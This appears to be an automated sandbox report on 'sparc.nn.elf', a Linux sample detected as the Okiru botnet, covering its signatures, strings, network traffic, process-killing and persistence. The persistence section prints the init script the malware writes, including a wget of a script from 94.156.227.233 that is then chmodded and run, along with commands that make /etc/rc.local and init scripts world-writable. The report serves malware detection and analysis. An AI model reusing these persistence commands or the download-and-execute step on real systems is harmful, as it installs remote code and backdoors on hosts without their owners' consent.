Linux Analysis Report
sparc.nn.elf

Overview

General Information

Sample name: sparc.nn.elf
Analysis ID: 1579938
MD5: 55e6da84c5e2005bc8c515a427f52e51
SHA1: 3950dc233d75a7f669d136766c5f8c0e7afe1b02
SHA256: e3dfe415371b75fd6b23a556141ed1a1211b1e88273aa054df86f16db04cb204
Tags: elfuser-abuse_ch
Infos:

Detection

Okiru
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

AV Detection

barindex
Source: sparc.nn.elf Avira: detected
Source: sparc.nn.elf String: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s

Networking

barindex
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.23:60038 -> 94.156.227.234:38242
Source: /tmp/sparc.nn.elf (PID: 6238) Socket: 0.0.0.0:38242 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: sparc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, sparc.nn.elf.32.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: sparc.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/sbin/reboot/usr/sbin/reboot/bin/reboot/usr/bin/reboot/sbin/shutdown/usr
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/sparc.nn.elf (PID: 6317) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) SIGKILL sent: pid: 6278, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) SIGKILL sent: pid: 6361, result: successful Jump to behavior
Source: classification engine Classification label: mal76.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior

barindex
Source: /tmp/sparc.nn.elf (PID: 6238) File: /etc/profile Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6238) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6298) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6314) File: /etc/rc.d/S99sparc.nn.elf -> /etc/init.d/sparc.nn.elf Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6238) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6294) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) File opened: /proc/6361/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) File opened: /proc/6278/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) File opened: /proc/2096/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) File opened: /proc/884/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) File opened: /proc/1664/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) File opened: /proc/2102/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) File opened: /proc/788/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6261) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6287) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6295) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6299) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sparc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sparc.nn.elf'\n /tmp/sparc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sparc.nn.elf'\n killall sparc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sparc.nn.elf" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6301) Shell command executed: sh -c "chmod +x /etc/init.d/sparc.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6304) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6310) Shell command executed: sh -c "ln -s /etc/init.d/sparc.nn.elf /etc/rc.d/S99sparc.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /bin/sh (PID: 6294) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6303) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sparc.nn.elf Jump to behavior
Source: /bin/sh (PID: 6309) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Source: /bin/sh (PID: 6263) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6238) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6294) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6238) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/sparc.nn.elf (PID: 6238) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6299) Writes shell script file to disk with an unusual file extension: /etc/init.d/sparc.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/sparc.nn.elf (PID: 6238) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6299) File: /etc/init.d/sparc.nn.elf Jump to dropped file
Source: /tmp/sparc.nn.elf (PID: 6238) Queries kernel information via 'uname': Jump to behavior
Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp Binary or memory string: /tmp/qemu-open.XU5WUT
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp Binary or memory string: U6!/usr/bin/vmtoolsd
Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/sparc.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sparc.nn.elf
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.XU5WUT\d
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

barindex
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 6238.1.00007f5154011000.00007f5154029000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 6238, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 6238.1.00007f5154011000.00007f5154029000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 6238, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs